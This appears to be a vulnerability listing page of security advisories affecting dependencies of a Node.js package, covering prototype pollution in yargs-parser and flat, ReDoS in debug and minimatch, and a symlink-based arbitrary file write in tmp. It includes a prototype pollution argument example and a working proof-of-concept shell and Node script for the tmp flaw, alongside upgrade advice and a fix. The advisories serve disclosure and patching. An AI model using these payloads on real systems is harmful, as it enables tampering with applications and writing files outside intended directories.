All the vulnerabilities related to the version 1.0.0 of the package
yargs-parser Vulnerable to Prototype Pollution
Affected versions of yargs-parser
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --foo.__proto__.bar baz'
adds a bar
property with value baz
to all objects. This is only exploitable if attackers have control over the arguments being passed to yargs-parser
.
Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.
Regular Expression Denial of Service in debug
Affected versions of debug
are vulnerable to regular expression denial of service when untrusted user input is passed into the o
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
flat vulnerable to Prototype Pollution
flat helps flatten/unflatten nested Javascript objects. A vulnerability, which was classified as critical, was found in hughsk flat up to 5.0.0. This affects the function unflatten of the file index.js. The manipulation leads to improperly controlled modification of object prototype attributes ('prototype pollution'). It is possible to initiate the attack remotely. Upgrading to version 5.0.1 can address this issue. The name of the patch is 20ef0ef55dfa028caddaedbcb33efbdb04d18e13. It is recommended to upgrade the affected component. The identifier VDB-216777 was assigned to this vulnerability.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink